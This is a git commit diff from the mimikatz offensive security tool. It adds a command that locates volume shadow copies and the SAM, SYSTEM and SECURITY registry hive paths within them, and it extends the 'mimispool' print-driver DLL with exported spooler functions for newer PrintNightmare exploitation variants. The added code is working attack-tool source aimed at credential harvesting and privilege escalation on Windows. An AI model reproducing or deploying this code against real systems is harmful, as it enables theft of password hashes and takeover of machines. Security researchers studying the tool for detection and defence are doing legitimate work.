[new] mimikatz misc::shadowcopies (to display some properties without admin rights)
[new] mimikatz mimispool module includes some functions for printnigtmare v3/v4 (must be recompiled after adjust) [internal] new ntdll.min.lib to call NtOpenDirectoryObject/NtQueryDirectoryObject
This commit is contained in:
parent
c8920c74b2
commit
ba3c2c66f6
Binary file not shown.
Binary file not shown.
|
@ -30,6 +30,7 @@ const KUHL_M_C kuhl_m_c_misc[] = {
|
||||||
{kuhl_m_misc_spooler, L"spooler", NULL},
|
{kuhl_m_misc_spooler, L"spooler", NULL},
|
||||||
{kuhl_m_misc_printnightmare, L"printnightmare", NULL},
|
{kuhl_m_misc_printnightmare, L"printnightmare", NULL},
|
||||||
{kuhl_m_misc_sccm_accounts, L"sccm", NULL},
|
{kuhl_m_misc_sccm_accounts, L"sccm", NULL},
|
||||||
|
{kuhl_m_misc_shadowcopies, L"shadowcopies", NULL},
|
||||||
};
|
};
|
||||||
const KUHL_M kuhl_m_misc = {
|
const KUHL_M kuhl_m_misc = {
|
||||||
L"misc", L"Miscellaneous module", NULL,
|
L"misc", L"Miscellaneous module", NULL,
|
||||||
|
@ -1883,3 +1884,85 @@ NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[])
|
||||||
|
|
||||||
return STATUS_SUCCESS;
|
return STATUS_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
DECLARE_CONST_UNICODE_STRING(usRootDevice, L"\\Device");
|
||||||
|
DECLARE_CONST_UNICODE_STRING(usDevice, L"Device");
|
||||||
|
const OBJECT_ATTRIBUTES oaDevice = RTL_CONSTANT_OBJECT_ATTRIBUTES(&usRootDevice, 0);
|
||||||
|
const wchar_t *INT_FILES[] = {L"SYSTEM", L"SAM", L"SECURITY", L"SOFTWARE"};
|
||||||
|
NTSTATUS kuhl_m_misc_shadowcopies(int argc, wchar_t * argv[])
|
||||||
|
{
|
||||||
|
NTSTATUS status;
|
||||||
|
HANDLE hDeviceDirectory;
|
||||||
|
BYTE Buffer[0x100];
|
||||||
|
ULONG Start, Context, ReturnLength, i, j;
|
||||||
|
BOOLEAN RestartScan;
|
||||||
|
POBJECT_DIRECTORY_INFORMATION pDirectoryInformation;
|
||||||
|
PWSTR szName, szShadowName, szFullPath;
|
||||||
|
WIN32_FILE_ATTRIBUTE_DATA Attribute;
|
||||||
|
|
||||||
|
status = NtOpenDirectoryObject(&hDeviceDirectory, DIRECTORY_QUERY | DIRECTORY_TRAVERSE, (POBJECT_ATTRIBUTES) &oaDevice);
|
||||||
|
if(NT_SUCCESS(status))
|
||||||
|
{
|
||||||
|
for(Start = 0, Context = 0, RestartScan = TRUE, status = STATUS_MORE_ENTRIES; status == STATUS_MORE_ENTRIES; )
|
||||||
|
{
|
||||||
|
status = NtQueryDirectoryObject(hDeviceDirectory, Buffer, sizeof(Buffer), FALSE, RestartScan, &Context, &ReturnLength);
|
||||||
|
if(NT_SUCCESS(status))
|
||||||
|
{
|
||||||
|
pDirectoryInformation = (POBJECT_DIRECTORY_INFORMATION) Buffer;
|
||||||
|
for(i = 0; i < (Context - Start); i++)
|
||||||
|
{
|
||||||
|
if(RtlEqualUnicodeString(&usDevice, &pDirectoryInformation[i].TypeName, TRUE))
|
||||||
|
{
|
||||||
|
szName = kull_m_string_unicode_to_string(&pDirectoryInformation[i].Name);
|
||||||
|
if(szName)
|
||||||
|
{
|
||||||
|
if(szName == wcsstr(szName, L"HarddiskVolumeShadowCopy"))
|
||||||
|
{
|
||||||
|
if(kull_m_string_sprintf(&szShadowName, L"\\\\?\\GLOBALROOT\\Device\\%s\\", szName))
|
||||||
|
{
|
||||||
|
kprintf(L"\nShadowCopy Volume : %s\n", szName);
|
||||||
|
kprintf(L"| Path : %s\n", szShadowName);
|
||||||
|
|
||||||
|
if(GetFileAttributesEx(szShadowName, GetFileExInfoStandard, &Attribute))
|
||||||
|
{
|
||||||
|
kprintf(L"| Volume LastWrite: ");
|
||||||
|
kull_m_string_displayLocalFileTime(&Attribute.ftLastWriteTime);
|
||||||
|
kprintf(L"\n");
|
||||||
|
}
|
||||||
|
else PRINT_ERROR_AUTO(L"GetFileAttributesEx");
|
||||||
|
kprintf(L"\n");
|
||||||
|
for(j = 0; j < ARRAYSIZE(INT_FILES); j++)
|
||||||
|
{
|
||||||
|
if(kull_m_string_sprintf(&szFullPath, L"%sWindows\\System32\\config\\%s", szShadowName, INT_FILES[j]))
|
||||||
|
{
|
||||||
|
kprintf(L"* %s\n", szFullPath);
|
||||||
|
|
||||||
|
if(GetFileAttributesEx(szFullPath, GetFileExInfoStandard, &Attribute))
|
||||||
|
{
|
||||||
|
kprintf(L" | LastWrite : ");
|
||||||
|
kull_m_string_displayLocalFileTime(&Attribute.ftLastWriteTime);
|
||||||
|
kprintf(L"\n");
|
||||||
|
}
|
||||||
|
else PRINT_ERROR_AUTO(L"GetFileAttributesEx");
|
||||||
|
|
||||||
|
LocalFree(szFullPath);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LocalFree(szShadowName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LocalFree(szName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Start = Context;
|
||||||
|
RestartScan = FALSE;
|
||||||
|
}
|
||||||
|
else PRINT_ERROR(L"NtQueryDirectoryObject: 0x%08x\n", status);
|
||||||
|
}
|
||||||
|
CloseHandle(hDeviceDirectory);
|
||||||
|
}
|
||||||
|
else PRINT_ERROR(L"NtOpenDirectoryObject: 0x%08x\n", status);
|
||||||
|
|
||||||
|
return STATUS_SUCCESS;
|
||||||
|
}
|
|
@ -47,6 +47,7 @@ NTSTATUS kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey(int argc, wchar_t * ar
|
||||||
NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[]);
|
NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[]);
|
||||||
NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]);
|
NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]);
|
||||||
NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]);
|
NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]);
|
||||||
|
NTSTATUS kuhl_m_misc_shadowcopies(int argc, wchar_t * argv[]);
|
||||||
|
|
||||||
BOOL kuhl_m_misc_printnightmare_normalize_library(LPCWSTR szLibrary, LPWSTR *pszNormalizedLibrary, LPWSTR *pszShortLibrary);
|
BOOL kuhl_m_misc_printnightmare_normalize_library(LPCWSTR szLibrary, LPWSTR *pszNormalizedLibrary, LPWSTR *pszShortLibrary);
|
||||||
BOOL kuhl_m_misc_printnightmare_FillStructure(PDRIVER_INFO_2 pInfo2, BOOL bIsX64, BOOL bIsDynamic, LPCWSTR szForce, BOOL bIsPar, handle_t hRemoteBinding);
|
BOOL kuhl_m_misc_printnightmare_FillStructure(PDRIVER_INFO_2 pInfo2, BOOL bIsX64, BOOL bIsDynamic, LPCWSTR szForce, BOOL bIsPar, handle_t hRemoteBinding);
|
||||||
|
|
|
@ -14,7 +14,7 @@ BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserv
|
||||||
case DLL_PROCESS_ATTACH:
|
case DLL_PROCESS_ATTACH:
|
||||||
kspool(TEXT(__FUNCTION__) L"-PROCESS_ATTACH");
|
kspool(TEXT(__FUNCTION__) L"-PROCESS_ATTACH");
|
||||||
ret = FALSE;
|
ret = FALSE;
|
||||||
// FALSE avoid to keep library in memory
|
// FALSE avoid to keep library in memory (PrintNightmare < 3/4)
|
||||||
// TRUE will mimic "real" driver/config -- to use/test with /useown on local (remote is not compatible with GetFileVersionInfo*)
|
// TRUE will mimic "real" driver/config -- to use/test with /useown on local (remote is not compatible with GetFileVersionInfo*)
|
||||||
break;
|
break;
|
||||||
|
|
||||||
|
@ -100,11 +100,7 @@ void kspool(LPCWSTR szFrom)
|
||||||
if(kspool_logfile = _wfopen(L"mimispool.log", L"a"))
|
if(kspool_logfile = _wfopen(L"mimispool.log", L"a"))
|
||||||
#pragma warning(pop)
|
#pragma warning(pop)
|
||||||
{
|
{
|
||||||
if(GetUserName(Buffer, &cbBuffer))
|
klog(kspool_logfile, L"[" PLATFORM L"] [%s] as \'%s\'\n", szFrom, GetUserName(Buffer, &cbBuffer) ? Buffer : L"-");
|
||||||
{
|
|
||||||
klog(kspool_logfile, L"[" PLATFORM L"] [%s] I\'m running with \'%s\' (and I like it :)\n", szFrom, Buffer);
|
|
||||||
}
|
|
||||||
|
|
||||||
fclose(kspool_logfile);
|
fclose(kspool_logfile);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -120,3 +116,15 @@ void klog(FILE * logfile, PCWCHAR format, ...)
|
||||||
fflush(logfile);
|
fflush(logfile);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI GenerateCopyFilePaths(LPCWSTR pszPrinterName, LPCWSTR pszDirectory, LPBYTE pSplClientInfo, DWORD dwLevel, LPWSTR pszSourceDir, LPDWORD pcchSourceDirSize, LPWSTR pszTargetDir, LPDWORD pcchTargetDirSize, DWORD dwFlags)
|
||||||
|
{
|
||||||
|
kspool(TEXT(__FUNCTION__));
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL WINAPI SpoolerCopyFileEvent(LPWSTR pszPrinterName, LPWSTR pszKey, DWORD dwCopyFileEvent)
|
||||||
|
{
|
||||||
|
kspool(TEXT(__FUNCTION__));
|
||||||
|
return TRUE;
|
||||||
|
}
|
|
@ -5,3 +5,6 @@ EXPORTS
|
||||||
DrvDisableDriver
|
DrvDisableDriver
|
||||||
|
|
||||||
DrvResetConfigCache
|
DrvResetConfigCache
|
||||||
|
|
||||||
|
GenerateCopyFilePaths
|
||||||
|
SpoolerCopyFileEvent
|
|
@ -34,3 +34,6 @@ VOID APIENTRY DrvDisableDriver();
|
||||||
|
|
||||||
void kspool(LPCWSTR szFrom);
|
void kspool(LPCWSTR szFrom);
|
||||||
void klog(FILE * logfile, PCWCHAR format, ...);
|
void klog(FILE * logfile, PCWCHAR format, ...);
|
||||||
|
|
||||||
|
DWORD WINAPI GenerateCopyFilePaths(LPCWSTR pszPrinterName, LPCWSTR pszDirectory, LPBYTE pSplClientInfo, DWORD dwLevel, LPWSTR pszSourceDir, LPDWORD pcchSourceDirSize, LPWSTR pszTargetDir, LPDWORD pcchTargetDirSize, DWORD dwFlags);
|
||||||
|
BOOL WINAPI SpoolerCopyFileEvent(LPWSTR pszPrinterName, LPWSTR pszKey, DWORD dwCopyFileEvent);
|
|
@ -373,6 +373,74 @@ typedef struct _SYSTEM_ISOLATED_USER_MODE_INFORMATION {
|
||||||
//ULONGLONG Spare1;
|
//ULONGLONG Spare1;
|
||||||
} SYSTEM_ISOLATED_USER_MODE_INFORMATION, *PSYSTEM_ISOLATED_USER_MODE_INFORMATION;
|
} SYSTEM_ISOLATED_USER_MODE_INFORMATION, *PSYSTEM_ISOLATED_USER_MODE_INFORMATION;
|
||||||
|
|
||||||
|
#define OBJ_INHERIT 0x00000002L
|
||||||
|
#define OBJ_PERMANENT 0x00000010L
|
||||||
|
#define OBJ_EXCLUSIVE 0x00000020L
|
||||||
|
#define OBJ_CASE_INSENSITIVE 0x00000040L
|
||||||
|
#define OBJ_OPENIF 0x00000080L
|
||||||
|
#define OBJ_OPENLINK 0x00000100L
|
||||||
|
#define OBJ_KERNEL_HANDLE 0x00000200L
|
||||||
|
#define OBJ_FORCE_ACCESS_CHECK 0x00000400L
|
||||||
|
#define OBJ_VALID_ATTRIBUTES 0x000007F2L
|
||||||
|
|
||||||
|
typedef struct _OBJECT_ATTRIBUTES64 {
|
||||||
|
ULONG Length;
|
||||||
|
ULONG64 RootDirectory;
|
||||||
|
ULONG64 ObjectName;
|
||||||
|
ULONG Attributes;
|
||||||
|
ULONG64 SecurityDescriptor;
|
||||||
|
ULONG64 SecurityQualityOfService;
|
||||||
|
} OBJECT_ATTRIBUTES64;
|
||||||
|
typedef OBJECT_ATTRIBUTES64 *POBJECT_ATTRIBUTES64;
|
||||||
|
typedef CONST OBJECT_ATTRIBUTES64 *PCOBJECT_ATTRIBUTES64;
|
||||||
|
|
||||||
|
typedef struct _OBJECT_ATTRIBUTES32 {
|
||||||
|
ULONG Length;
|
||||||
|
ULONG RootDirectory;
|
||||||
|
ULONG ObjectName;
|
||||||
|
ULONG Attributes;
|
||||||
|
ULONG SecurityDescriptor;
|
||||||
|
ULONG SecurityQualityOfService;
|
||||||
|
} OBJECT_ATTRIBUTES32;
|
||||||
|
typedef OBJECT_ATTRIBUTES32 *POBJECT_ATTRIBUTES32;
|
||||||
|
typedef CONST OBJECT_ATTRIBUTES32 *PCOBJECT_ATTRIBUTES32;
|
||||||
|
|
||||||
|
typedef struct _OBJECT_ATTRIBUTES {
|
||||||
|
ULONG Length;
|
||||||
|
HANDLE RootDirectory;
|
||||||
|
PUNICODE_STRING ObjectName;
|
||||||
|
ULONG Attributes;
|
||||||
|
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
|
||||||
|
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
|
||||||
|
} OBJECT_ATTRIBUTES;
|
||||||
|
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
|
||||||
|
typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES;
|
||||||
|
|
||||||
|
#define InitializeObjectAttributes( p, n, a, r, s ) { \
|
||||||
|
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
|
||||||
|
(p)->RootDirectory = r; \
|
||||||
|
(p)->Attributes = a; \
|
||||||
|
(p)->ObjectName = n; \
|
||||||
|
(p)->SecurityDescriptor = s; \
|
||||||
|
(p)->SecurityQualityOfService = NULL; \
|
||||||
|
}
|
||||||
|
|
||||||
|
#define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) \
|
||||||
|
{ sizeof(OBJECT_ATTRIBUTES), NULL, RTL_CONST_CAST(PUNICODE_STRING)(n), a, NULL, NULL }
|
||||||
|
|
||||||
|
#define RTL_INIT_OBJECT_ATTRIBUTES(n, a) RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a)
|
||||||
|
|
||||||
|
#define DIRECTORY_QUERY 0x0001
|
||||||
|
#define DIRECTORY_TRAVERSE 0x0002
|
||||||
|
#define DIRECTORY_CREATE_OBJECT 0x0004
|
||||||
|
#define DIRECTORY_CREATE_SUBDIRECTORY 0x0008
|
||||||
|
#define DIRECTORY_ALL_ACCESS STANDARD_RIGHTS_REQUIRED | 0xF
|
||||||
|
|
||||||
|
typedef struct _OBJECT_DIRECTORY_INFORMATION {
|
||||||
|
UNICODE_STRING Name;
|
||||||
|
UNICODE_STRING TypeName;
|
||||||
|
} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;
|
||||||
|
|
||||||
extern NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT OPTIONAL PULONG ReturnLength);
|
extern NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT OPTIONAL PULONG ReturnLength);
|
||||||
extern NTSTATUS WINAPI NtQuerySystemInformationEx(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID InputBuffer, ULONG InputBufferLength, PVOID SystemInformation, ULONG SystemInformationLength, ULONG *ReturnLength);
|
extern NTSTATUS WINAPI NtQuerySystemInformationEx(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID InputBuffer, ULONG InputBufferLength, PVOID SystemInformation, ULONG SystemInformationLength, ULONG *ReturnLength);
|
||||||
extern NTSTATUS WINAPI NtSetSystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength);
|
extern NTSTATUS WINAPI NtSetSystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength);
|
||||||
|
@ -380,6 +448,8 @@ extern NTSTATUS WINAPI NtQueryInformationProcess(IN HANDLE ProcessHandle, IN PRO
|
||||||
extern NTSTATUS WINAPI NtSuspendProcess(IN HANDLE ProcessHandle);
|
extern NTSTATUS WINAPI NtSuspendProcess(IN HANDLE ProcessHandle);
|
||||||
extern NTSTATUS WINAPI NtResumeProcess(IN HANDLE ProcessHandle);
|
extern NTSTATUS WINAPI NtResumeProcess(IN HANDLE ProcessHandle);
|
||||||
extern NTSTATUS WINAPI NtTerminateProcess(IN OPTIONAL HANDLE ProcessHandle, IN NTSTATUS ExitStatus);
|
extern NTSTATUS WINAPI NtTerminateProcess(IN OPTIONAL HANDLE ProcessHandle, IN NTSTATUS ExitStatus);
|
||||||
|
extern NTSTATUS WINAPI NtOpenDirectoryObject(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes);
|
||||||
|
extern NTSTATUS WINAPI NtQueryDirectoryObject(IN HANDLE DirectoryHandle, OUT OPTIONAL PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN BOOLEAN RestartScan, IN OUT PULONG Context, OUT OPTIONAL PULONG ReturnLength);
|
||||||
|
|
||||||
typedef NTSTATUS (WINAPI * PNTQUERYSYSTEMINFORMATIONEX) (SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID InputBuffer, ULONG InputBufferLength, PVOID SystemInformation, ULONG SystemInformationLength, ULONG *ReturnLength);
|
typedef NTSTATUS (WINAPI * PNTQUERYSYSTEMINFORMATIONEX) (SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID InputBuffer, ULONG InputBufferLength, PVOID SystemInformation, ULONG SystemInformationLength, ULONG *ReturnLength);
|
||||||
|
|
||||||
|
|
|
@ -358,6 +358,22 @@ BOOL kull_m_string_copyA(LPSTR *dst, LPCSTR src)
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
PWSTR kull_m_string_unicode_to_string(PCUNICODE_STRING src)
|
||||||
|
{
|
||||||
|
PWSTR ret = NULL;
|
||||||
|
|
||||||
|
if(src->Length && src->Buffer)
|
||||||
|
{
|
||||||
|
ret = (PWSTR) LocalAlloc(LPTR, src->Length + sizeof(wchar_t));
|
||||||
|
if(ret)
|
||||||
|
{
|
||||||
|
RtlCopyMemory(ret, src->Buffer, src->Length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
BOOL kull_m_string_quickxml_simplefind(LPCWSTR xml, LPCWSTR node, LPWSTR *dst)
|
BOOL kull_m_string_quickxml_simplefind(LPCWSTR xml, LPCWSTR node, LPWSTR *dst)
|
||||||
{
|
{
|
||||||
BOOL status = FALSE;
|
BOOL status = FALSE;
|
||||||
|
|
|
@ -95,6 +95,7 @@ BOOL kull_m_string_copy_len(LPWSTR *dst, LPCWSTR src, size_t size);
|
||||||
BOOL kull_m_string_copy(LPWSTR *dst, LPCWSTR src);
|
BOOL kull_m_string_copy(LPWSTR *dst, LPCWSTR src);
|
||||||
BOOL kull_m_string_copyA_len(LPSTR *dst, LPCSTR src, size_t size);
|
BOOL kull_m_string_copyA_len(LPSTR *dst, LPCSTR src, size_t size);
|
||||||
BOOL kull_m_string_copyA(LPSTR *dst, LPCSTR src);
|
BOOL kull_m_string_copyA(LPSTR *dst, LPCSTR src);
|
||||||
|
PWSTR kull_m_string_unicode_to_string(PCUNICODE_STRING src);
|
||||||
BOOL kull_m_string_quickxml_simplefind(LPCWSTR xml, LPCWSTR node, LPWSTR *dst);
|
BOOL kull_m_string_quickxml_simplefind(LPCWSTR xml, LPCWSTR node, LPWSTR *dst);
|
||||||
#if !defined(MIMIKATZ_W2000_SUPPORT)
|
#if !defined(MIMIKATZ_W2000_SUPPORT)
|
||||||
BOOL kull_m_string_quick_base64_to_Binary(PCWSTR base64, PBYTE *data, DWORD *szData);
|
BOOL kull_m_string_quick_base64_to_Binary(PCWSTR base64, PBYTE *data, DWORD *szData);
|
||||||
|
|
Loading…
Reference in New Issue